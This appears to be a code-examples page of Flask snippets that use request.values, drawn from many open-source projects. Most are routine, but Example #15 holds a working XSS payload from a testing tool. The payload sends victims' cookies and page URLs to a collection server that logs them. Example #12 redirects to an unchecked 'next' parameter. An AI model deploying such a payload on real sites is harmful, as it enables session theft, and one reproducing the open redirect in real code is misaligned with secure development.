Python flask.request.values() Examples

The following are 30 code examples of flask.request.values(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module flask.request , or try the search function .
Example #1
Source File: permissions.py    From bepasty-server with BSD 2-Clause "Simplified" License 8 votes vote down vote up
def get_permissions():
    """
    get the permissions for the current user (if logged in)
    or the default permissions (if not logged in).
    """
    auth = request.authorization
    if auth:
        # http basic auth header present
        permissions = lookup_permissions(auth.password)
    elif 'token' in request.values:
        # token present in query args or post form (can be used by cli clients)
        permissions = lookup_permissions(request.values['token'])
    else:
        # look into session, login might have put something there
        permissions = session.get(PERMISSIONS)
    if permissions is None:
        permissions = current_app.config['DEFAULT_PERMISSIONS']
    permissions = set(permissions.split(','))
    return permissions 
Example #2
Source File: __init__.py    From OctoPrint-Enclosure with GNU General Public License v3.0 6 votes vote down vote up
def set_neopixel_old(self):
        """ set_neopixel method get request from octoprint and send the command to arduino or neopixel"""
        gpio_index = self.to_int(request.values["index_id"])
        red = request.values["red"]
        green = request.values["green"]
        blue = request.values["blue"]
        for rpi_output in self.rpi_outputs:
            if gpio_index == self.to_int(rpi_output['index_id']):
                led_count = rpi_output['neopixel_count']
                led_brightness = rpi_output['neopixel_brightness']
                address = rpi_output['microcontroller_address']

                neopixel_dirrect = rpi_output['output_type'] == 'neopixel_direct'

                self.send_neopixel_command(self.to_int(rpi_output['gpio_pin']), led_count, led_brightness, red, green,
                    blue, address, neopixel_dirrect, gpio_index)

        return jsonify(success=True) 
Example #3
Source File: client.py    From Flask-Discord with MIT License 6 votes vote down vote up
def callback(self):
        """A method which should be always called after completing authorization code grant process
        usually in callback view.
        It fetches the authorization token and saves it flask
        `session <http://flask.pocoo.org/docs/1.0/api/#flask.session>`_ object.

        """
        if request.values.get("error"):
            return request.values["error"]
        discord = self._make_session(state=session.get("DISCORD_OAUTH2_STATE"))
        token = discord.fetch_token(
            configs.DISCORD_TOKEN_URL,
            client_secret=self.client_secret,
            authorization_response=request.url
        )
        self._token_updater(token) 
Example #4
Source File: server.py    From voice-quickstart-server-python with MIT License 6 votes vote down vote up
def placeCall():
  account_sid = os.environ.get("ACCOUNT_SID", ACCOUNT_SID)
  api_key = os.environ.get("API_KEY", API_KEY)
  api_key_secret = os.environ.get("API_KEY_SECRET", API_KEY_SECRET)

  client = Client(api_key, api_key_secret, account_sid)
  to = request.values.get("to")
  call = None

  if to is None or len(to) == 0:
    call = client.calls.create(url=request.url_root + 'incoming', to='client:' + IDENTITY, from_=CALLER_ID)
  elif to[0] in "+1234567890" and (len(to) == 1 or to[1:].isdigit()):
    call = client.calls.create(url=request.url_root + 'incoming', to=to, from_=CALLER_NUMBER)
  else:
    call = client.calls.create(url=request.url_root + 'incoming', to='client:' + to, from_=CALLER_ID)
  return str(call) 
Example #5
Source File: preset.py    From MoePhoto with Apache License 2.0 6 votes vote down vote up
def preset():
  try:
    path = '.user/preset_' + request.values['path']
    name = request.values['name'] if 'name' in request.values else None
    data = request.values['data'] if 'data' in request.values else None
    if data:
      return savePreset(path)(data), 200
    else:
      if name:
        res = cache[name][1] if name in cache else loadPreset(path)(name + '.json', True)
        if res:
          return res, 200
        else:
          return '', 404
      else:
        if os.path.exists(path):
          return json.dumps([*filter(None, map(loadPreset(path), os.listdir(path)))]
            , ensure_ascii=False, separators=(',', ':')), 200
        else:
          return '[]', 200
  except:
    return '', 400 
Example #6
Source File: experiment_server.py    From Dallinger with MIT License 6 votes vote down vote up
def assign_properties(thing):
    """Assign properties to an object.

    When creating something via a post request (e.g. a node), you can pass the
    properties of the object in the request. This function gets those values
    from the request and fills in the relevant columns of the table.
    """
    details = request_parameter(parameter="details", optional=True)
    if details:
        setattr(thing, "details", loads(details))

    for p in range(5):
        property_name = "property" + str(p + 1)
        property = request_parameter(parameter=property_name, optional=True)
        if property:
            setattr(thing, property_name, property)

    session.commit() 
Example #7
Source File: http.py    From bepasty-server with BSD 2-Clause "Simplified" License 6 votes vote down vote up
def _redirect_target_url(d, use_referrer, endpoint, **values):
    """
    return redirect url to (in that order):

    - <next> from d
    - referrer (if use_referrer is True)
    - the url for endpoint/values
    """
    targets = [d.get('next'), request.referrer, url_for(endpoint, **values)]
    if not use_referrer:
        del targets[1]
    for target in targets:
        if target and is_safe_url(target):
            return target


# GET - for next 2, you may want to create urls with:
# url_for(endpoint, ..., next=something) 
Example #8
Source File: server.py    From voice-quickstart-server-python with MIT License 6 votes vote down vote up
def token():
  account_sid = os.environ.get("ACCOUNT_SID", ACCOUNT_SID)
  api_key = os.environ.get("API_KEY", API_KEY)
  api_key_secret = os.environ.get("API_KEY_SECRET", API_KEY_SECRET)
  push_credential_sid = os.environ.get("PUSH_CREDENTIAL_SID", PUSH_CREDENTIAL_SID)
  app_sid = os.environ.get("APP_SID", APP_SID)

  grant = VoiceGrant(
    push_credential_sid=push_credential_sid,
    outgoing_application_sid=app_sid
  )

  identity = request.values["identity"] \
          if request.values and request.values["identity"] else IDENTITY
  token = AccessToken(account_sid, api_key, api_key_secret, identity=identity)
  token.add_grant(grant)

  return token.to_jwt() 
Example #9
Source File: api.py    From nekoyume with MIT License 6 votes vote down vote up
def get_blocks():
    last_block = Block.query.order_by(Block.id.desc()).first()
    from_ = request.values.get('from', 1, type=int)
    to = request.values.get(
        'to',
        last_block.id if last_block else 0,
        type=int)
    blocks = Block.query.filter(
        Block.id >= from_,
        Block.id <= to
    ).order_by(Block.id.asc())
    return jsonify(blocks=[b.serialize(use_bencode=False,
                                       include_suffix=True,
                                       include_moves=True,
                                       include_hash=True)
                           for b in blocks]) 
Example #10
Source File: Main.py    From word2vecVN with Apache License 2.0 6 votes vote down vote up
def search():
    if request.method == "POST":
        query = request.values['search'] or ''
        # query = unicode(query, "utf-8")
        # query = query.decode().encode("utf-8")
        query = unicode(query).lower()
        print 'query = ' + query
        output = []
        try:
            sim_list = word2vec_model.most_similar(query, topn=50)
            #output = word2vec_model.most_similar('u' + '\"' + query + '\"', topn=5)
            for wordsimilar in sim_list:
                # output[wordsimilar[0]] = wordsimilar[1]
                output.append(wordsimilar[0] + ' - '+ str(wordsimilar[1]))
                # file = codecs.open("output.txt", "a", "utf-8")
                # file.write(wordsimilar[0] + "\t" + str(wordsimilar[1]) + "\n")
                # file.close()
        except:
            output = 'Not found' + query
    return render_template('search.html', pages=output) 
Example #11
Source File: api.py    From ckan-multisite with MIT License 6 votes vote down vote up
def api_has_parameters(*keys):
    """
     Decorator that ensures that certain parameters exist and have sensible
     values (i.e. not empty, not None). If one of the keys isn't in the request
     parameters, an error will be returned.

     :param f: The function to be decorated
    """
    def decorator(func):
        @wraps(func)
        def wrapper(*f_args):
            if all([key in request.values and request.values[key]
                    for key in keys]):
                # Let the function deal with it - valid
                return func(*f_args)
            else:
                return jsonify({
                   'error': 'One or more parameters missing. '
                   'Required parameters are: {}, supplied: {}'
                .format(list(keys), request.values)
                }), CLIENT_ERROR_CODE

        return wrapper

    return decorator 
Example #12
Source File: login.py    From ckan-multisite with MIT License 6 votes vote down vote up
def login():
    # If they're already logged in, forward them to their destination.
    if check_login_cookie():
        print 'Redirecting for already auth'
        return redirect(request.values.get('next') if 'next' in request.values else url_for('index'), code=302)
    
    if request.method == 'POST':
        # Otherwise, we need to get the password from the form, validate it, and
        if 'pw' in request.values:
            if place_login_cookie(request.values['pw']):
                print 'Login successful!'
                return redirect(request.values.get('next') if 'next' in request.values else url_for('index'), code=302)
            else:
                flash('Incorrect password.')
        else:
            flash('Incomplete request.')
    return render_template('login.html') 
Example #13
Source File: vtest.py    From vtest with Apache License 2.0 6 votes vote down vote up
def dns_list():
    result = []
    total = 0
    args = request.values
    offset = int(args.get('offset', 0))
    limit = int(args.get('limit', 10))

    if args.get('search'):
        search = args.get('search')
    else:
        search = ""
    search = "%" + search + "%"

    sql = "SELECT domain,ip,insert_time FROM dns_log where domain like ? order by id desc limit ?,?"
    rows = DB.exec_sql(sql, search, offset, limit)
    
    for v in rows:
        result.append({"domain": v[0], "ip": v[1], "insert_time": v[2]})
    sql = "SELECT COUNT(*) FROM dns_log"
    rows = DB.exec_sql(sql)
    total = rows[0][0]
    return jsonify({'total': int(total), 'rows': result}) 
Example #14
Source File: vtest.py    From vtest with Apache License 2.0 6 votes vote down vote up
def http_log_list():
    result = []
    total = 0
    args = request.values
    offset = int(args.get('offset', 0))
    limit = int(args.get('limit', 10))
    sql = "SELECT url,headers,data,ip,insert_time FROM http_log order by id desc limit {skip},{limit}".format(
        skip=offset, limit=limit)
    rows = DB.exec_sql(sql)
    for v in rows:
        result.append({
            'url': v[0],
            'headers': v[1],
            'data': v[2],
            'ip': v[3],
            'insert_time': v[4]
        })
    sql = "SELECT COUNT(*) FROM http_log"
    rows = DB.exec_sql(sql)
    total = rows[0][0]
    return jsonify({'total': int(total), 'rows': result}) 
Example #15
Source File: vtest.py    From vtest with Apache License 2.0 6 votes vote down vote up
def xss(name, action):
    callback_url = request.host_url + 'xss/' + quote(name) + '/save?l='
    js_body = "(function(){(new Image()).src='" + callback_url + "'+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&t='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&c='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&o='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();"
    if action == 'js':
        return js_body
    elif action == 'save':
        args = request.values
        data = [
            name,
            args.get('l', ''),
            args.get('t', ''),
            args.get('o', ''),
            args.get('c', ''), request.remote_addr
        ]
        sql = "INSERT INTO xss (name,location,toplocation,opener,cookie,source_ip,insert_time) \
            VALUES(?, ?, ?, ? ,?, ?, datetime(CURRENT_TIMESTAMP,'localtime'))"

        DB.exec_sql(sql, *data)
        return 'success' 
Example #16
Source File: vtest.py    From vtest with Apache License 2.0 6 votes vote down vote up
def xss_list():
    result = []
    total = 0
    args = request.values
    offset = int(args.get('offset', 0))
    limit = int(args.get('limit', 10))
    sql = "SELECT name,location,toplocation,opener,cookie,source_ip,insert_time FROM xss order by id desc limit {skip},{limit}".format(
        skip=offset, limit=limit)
    rows = DB.exec_sql(sql)
    for v in rows:
        result.append({
            'name': v[0],
            'location': v[1],
            'other': v[2] + '\n' + v[3],
            'cookie': v[4],
            'source_ip': v[5],
            'insert_time': v[6]
        })
    sql = "SELECT COUNT(*) FROM xss"
    rows = DB.exec_sql(sql)
    total = rows[0][0]
    return jsonify({'total': int(total), 'rows': result}) 
Example #17
Source File: http_serve.py    From Andromeda with MIT License 6 votes vote down vote up
def get(self, ipa):
        global http_source
        params = request.values
        target = ''
        type = ''
        pod = ''
        if params.get('target'):
            target = params.get('target')
        if params.get('type'):
            type = params.get('type')
        if params.get('pod'):
            pod = params.get('pod')
        try:
            http_serve_value(target, type, pod)
            res = json.dumps('succeed', ensure_ascii=False)
        except Exception as e:
            res = json.dumps(e, ensure_ascii=False)
        finally:
            pass
        return res 
Example #18
Source File: util.py    From AstroBox with GNU Affero General Public License v3.0 6 votes vote down vote up
def getApiKey(request):
	# Check Flask GET/POST arguments
	if hasattr(request, "values") and "apikey" in request.values:
		return request.values["apikey"]

	# Check Tornado GET/POST arguments
	if hasattr(request, "arguments") and "apikey" in request.arguments and len(request.arguments["apikey"][0].strip()) > 0:
		return request.arguments["apikey"][0]

	# Check Tornado and Flask headers
	if "X-Api-Key" in request.headers.keys():
		return request.headers.get("X-Api-Key")

	return None


#~~ Printer state 
Example #19
Source File: camera.py    From AstroBox with GNU Affero General Public License v3.0 6 votes vote down vote up
def update_timelapse():
	freq = request.values.get('freq')

	if freq:
		cm = cameraManager()
		if cm.timelapseInfo:
			if cm.update_timelapse(freq):
				return jsonify(SUCCESS)

		else:
			timelapse = cm.start_timelapse(freq)
			if timelapse == 'success':
				return jsonify(SUCCESS)
			if timelapse == 'no_storage':
				return make_response('No Storage', 402)
			else:
				abort (500)

	else:
		abort(400)

	abort(500) 
Example #20
Source File: printer.py    From AstroBox with GNU Affero General Public License v3.0 6 votes vote down vote up
def _getTemperatureData(filter):
	pm = printerManager()

	if not pm.isOperational():
		return make_response("Printer is not operational", 409)

	tempData = pm.getCurrentTemperatures()

	if "history" in request.values.keys() and request.values["history"] in valid_boolean_trues:
		tempHistory = pm.getTemperatureHistory()

		limit = 300
		if "limit" in request.values.keys() and unicode(request.values["limit"]).isnumeric():
			limit = int(request.values["limit"])

		history = list(tempHistory)
		limit = min(limit, len(history))

		tempData.update({
			"history": map(lambda x: filter(x), history[-limit:])
		})

	return filter(tempData)

##~~ Comms 
Example #21
Source File: decorators.py    From quay with Apache License 2.0 6 votes vote down vote up
def param_required(param_name, allow_body=False):
    """
    Marks a route as requiring a parameter with the given name to exist in the request's arguments
    or (if allow_body=True) in its body values.

    If the parameter is not present, the request will fail with a 400.
    """

    def wrapper(wrapped):
        @wraps(wrapped)
        def decorated(*args, **kwargs):
            if param_name not in request.args:
                if not allow_body or param_name not in request.values:
                    abort(400, message="Required param: %s" % param_name)
            return wrapped(*args, **kwargs)

        return decorated

    return wrapper 
Example #22
Source File: instance.py    From huskar with MIT License 6 votes vote down vote up
def post(self):
        """Imports multiple instances of service, switch or config.

        The ``write`` authority is required. See :ref:`application_auth` also.

        The data which will be imported should be included in the request body
        as ``import_file`` field in ``multipart/form-data`` encoded.

        :form import_file: The data schema is the same as the exporting API.
        :form overwrite: ``1`` if you want to overwrite existed instances.
        :<header Content-Type: ``multipart/form-data``
        :<header Authorization: Huskar Token (See :ref:`token`)
        :status 200: The request is successful. ``import_num`` will be
                     responded also.
        """
        overwrite = request.values.get('overwrite', type=int, default=0)
        content = request.files.get('import_file', type=json.load) or {}
        content = instance_schema.load(content, many=True).data
        instance_list = self.set_instance_list(content, bool(overwrite))
        affected = sum(1 for i in instance_list if i is not None)
        audit_log.emit(
            self.IMPORT_ACTION_TYPES[self.subdomain], datalist=content,
            overwrite=bool(overwrite), affected=affected)
        return api_response({'import_num': affected}) 
Example #23
Source File: instance.py    From huskar with MIT License 6 votes vote down vote up
def delete(self, application_name):
        """Deletes an empty cluster.

        :form cluster: The name of deleting cluster.
        :<header Authorization: Huskar Token (See :ref:`token`)
        :<header Content-Type: :mimetype:`application/x-www-form-urlencoded`
        :status 400: The cluster name is invalid or the deleting cluster is not
                     empty.
        :status 200: Success.
        """
        check_application_auth(application_name, Authority.WRITE)
        cluster_name = request.values['cluster'].strip()
        validate_fields(instance_schema, {
            'application': application_name,
            'cluster': cluster_name
        })
        check_cluster_name(cluster_name, application_name)

        with audit_log(self.DELETE_ACTION_TYPES[self.subdomain],
                       application_name=application_name,
                       cluster_name=cluster_name):
            self.facade.delete_cluster(
                application_name, cluster_name, strict=True)
        return api_response() 
Example #24
Source File: service_instance.py    From huskar with MIT License 6 votes vote down vote up
def _get_value(self):
        # TODO: remove this function if no more deprecated fields
        # occurred.
        def log_for_deprecated_fields(value):
            schema_fields = {'ip', 'port', 'state', 'meta'}
            fields = set(value)
            if not schema_fields.issuperset(set(value)):
                logger.info('Deprecated fields of service meta: %s', fields)

        if 'value' not in request.values:
            return
        value = request.values.get('value', type=json.loads)
        if value is None:
            abort(400, 'request data is not json format.')
        log_for_deprecated_fields(value)
        return service_value_schema.load(value).data 
Example #25
Source File: guilds.py    From rowboat with MIT License 6 votes vote down vote up
def guild_config_history(guild):
    def serialize(gcc):
        return {
            'user': serialize_user(gcc.user_id),
            'before': unicode(gcc.before_raw),
            'after': unicode(gcc.after_raw),
            'created_at': gcc.created_at.isoformat(),
        }

    q = GuildConfigChange.select(GuildConfigChange, User).join(
        User, on=(User.user_id == GuildConfigChange.user_id),
    ).where(GuildConfigChange.guild_id == guild.guild_id).order_by(
        GuildConfigChange.created_at.desc()
    ).paginate(int(request.values.get('page', 1)), 25)

    return jsonify(map(serialize, q)) 
Example #26
Source File: views.py    From honeybadger with GNU General Public License v3.0 6 votes vote down vote up
def demo(guid):
    text = None
    if request.method == 'POST':
        text = request.values['text']
        key = request.values['key']
        if g.user.check_password(key):
            if text and 'alert(' in text:
                text = 'Congrats! You entered: {}'.format(text)
            else:
                text = 'Nope. Try again.'
        else:
            text = 'Incorrect password.'
    nonce = generate_nonce(24)
    response = make_response(render_template('demo.html', target=guid, text=text, nonce=nonce))
    response.headers['X-XSS-Protection'] = '0'#'1; report=https://hb.lanmaster53.com/api/beacon/{}/X-XSS-Protection'.format(guid)
    uri = url_for('api_beacon', target=guid, agent='Content-Security-Policy')
    response.headers['Content-Security-Policy-Report-Only'] = 'script-src \'nonce-{}\'; report-uri {}'.format(nonce, uri)
    return response 
Example #27
Source File: server.py    From voice-quickstart-server-python with MIT License 5 votes vote down vote up
def makeCall():
  resp = VoiceResponse()
  to = request.values.get("to")

  if to is None or len(to) == 0:
    resp.say("Congratulations! You have just made your first call! Good bye.")
  elif to[0] in "+1234567890" and (len(to) == 1 or to[1:].isdigit()):
    resp.dial(callerId=CALLER_NUMBER).number(to)
  else:
    resp.dial(callerId=CALLER_ID).client(to)
  return str(resp) 
Example #28
Source File: server.py    From MoePhoto with Apache License 2.0 5 votes vote down vote up
def checkMsgMatch(request):
  if not 'path' in request.values:
    return True
  path = request.values['path']
  return path == current.path 
Example #29
Source File: files.py    From AstroBox with GNU Affero General Public License v3.0 5 votes vote down vote up
def copyFileToLocal():
	externalDriveMgr = externalDriveManager()
	return jsonify({'filename': externalDriveMgr.copyFileToLocal(request.values.get('file'),externalDriveMgr.getBaseFolder('uploads'),request.values.get('observerId'))}) 
Example #30
Source File: subscribe.py    From livetv_mining with Apache License 2.0 5 votes vote down vote up
def post(self):
        room_url = (request.get_json() if request.json else request.values).get('url', '')
        if not room_url:
            return {'message': '请先输入房间URL'}, 400
        room = LiveTVRoom.query.filter_by(url=room_url).one_or_none()
        if not room:
            return {'message': '找不到对应的房间记录,请检查URL是否正确'}, 400
        elif g.user.rooms.count() >= g.user.subscription:
            return {'message': '订阅数已满,无法订阅新房间'}, 400
        else:
            g.user.rooms.append(room)
            db.session.add(g.user)
            db.session.commit()
        return room.to_dict()